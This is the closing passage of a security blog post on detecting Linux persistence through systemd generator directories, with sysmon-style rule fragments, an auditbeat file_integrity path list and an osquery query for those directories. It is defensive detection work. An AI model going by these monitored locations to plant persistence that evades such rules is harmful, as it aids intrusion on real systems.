<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">&gt;</span>/usr/lib/systemd/system-generators/<span class="nt">&lt;/TargetFilename&gt;</span>
</code></pre></div></div>
<p>This makes rules such as those above fail, and why I ended up using <code class="language-plaintext highlighter-rouge">condition="contains"</code>.</p>

<p>At first, I thought this was because in debian <code class="language-plaintext highlighter-rouge">lib</code> is a symlink to <code class="language-plaintext highlighter-rouge">/usr/lib</code> but I’ve tried it creating my own symlink and this behaviour was not replicated. I don’t know why this happens.</p>

<h4 id="1233-auditbeats">12.3.3 auditbeats</h4>

<p>By default, auditbeat will be able to monitor any of the directories above. You should try to include each one.</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="pi">-</span> <span class="na">module</span><span class="pi">:</span> <span class="s">file_integrity</span>
  <span class="na">paths</span><span class="pi">:</span>
    <span class="s">...</span>
    <span class="s">- /etc/systemd/system-generators/</span>
    <span class="s">- /usr/local/lib/systemd/system-generators/</span>
    <span class="s">- /lib/systemd/system-generators/</span>
    <span class="s">- /etc/systemd/user-generators/</span>
    <span class="s">- /usr/local/lib/systemd/user-generators/</span>
    <span class="s">- /usr/lib/systemd/user-generators/</span>
  <span class="c1"># recursive: true</span>
</code></pre></div></div>

<p>Note that some of them might not exist by default like <code class="language-plaintext highlighter-rouge">/etc/systemd/user-generators/</code>, <code class="language-plaintext highlighter-rouge">/local/lib/systemd/system-generators/</code>, or <code class="language-plaintext highlighter-rouge">/usr/local/lib/systemd/user-generators/</code>.</p>

<h4 id="1234-osquery">12.3.4 osquery</h4>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">path</span><span class="p">,</span> <span class="n">filename</span><span class="p">,</span> <span class="k">size</span><span class="p">,</span> <span class="n">atime</span><span class="p">,</span> <span class="n">mtime</span><span class="p">,</span> <span class="n">ctime</span><span class="p">,</span> <span class="n">md5</span>
<span class="k">FROM</span> <span class="n">file</span> 
<span class="k">JOIN</span> <span class="n">hash</span>
<span class="k">USING</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
<span class="k">WHERE</span> <span class="n">file</span><span class="p">.</span><span class="n">directory</span> <span class="k">IN</span> <span class="p">(</span>
    <span class="s1">'/etc/systemd/system-generators/'</span><span class="p">,</span>
    <span class="s1">'/usr/local/lib/systemd/system-generators/'</span><span class="p">,</span>
    <span class="s1">'/lib/systemd/system-generators/'</span><span class="p">,</span>
    <span class="s1">'/etc/systemd/user-generators/'</span><span class="p">,</span>
    <span class="s1">'/usr/local/lib/systemd/user-generators/'</span><span class="p">,</span>
    <span class="s1">'/usr/lib/systemd/user-generators/'</span>
<span class="p">)</span>
<span class="k">ORDER</span> <span class="k">BY</span> <span class="n">mtime</span> <span class="k">DESC</span><span class="p">;</span>
</code></pre></div></div>

<p><img src="/assets/posts/20220207/12-osquery-generators.png" alt="" /></p>

<h3 id="whats-next">What’s next</h3>

<p>In the next blog post, I’ll try to wrap it up with some miscellaneous persistence techniques.</p>

<hr />

<p><a href="https://www.pexels.com/photo/factory-smoke-1570099/">Photo by Vitaly Vlasov from Pexels</a></p>

  </div>

  <hr/>
  <br/>

  

<div itemscope itemtype="http://schema.org/Person">

  <div class="author__avatar">
        <img src="/assets/profile.png" class="author__avatar" alt="Pepe Berba">
  </div>

  <div class="author__content">
    <h3 class="author__name">Pepe Berba  </h3> 
    <p class="author__bio">Cloud Security at Thinking Machines| GMON, CCSK | Ex-Machine Learning Researcher and Ex-SOC Engineer</p>
  </div>
</div>




  
</article>

      </div>
    </main>
  </div>
    

<footer class="site-footer">

  <div class="wrapper">

    <h2 class="footer-heading">pepe berba | stats, security, and crypto
  

	&nbsp

	


<a href="https://twitter.com/__pberba__"><i class="fab fa-fw fa-twitter-square" aria-hidden="true"></i></a>
<a href="https://www.linkedin.com/in/pberba"><i class="fab fa-fw fa-linkedin" aria-hidden="true"></i></a>
<a href="https://github.com/pberba"><i class="fab fa-fw fa-github" aria-hidden="true"></i></a>
<a href="https://medium.com/@pberba"><i class="fab fa-fw fa-medium" aria-hidden="true"></i> </a>
<a href="https://pberba.github.io/feed.xml"><i class="fas fa-rss-square" aria-hidden="true"></i></a>


</h2>


</footer>


  </body>

</html>
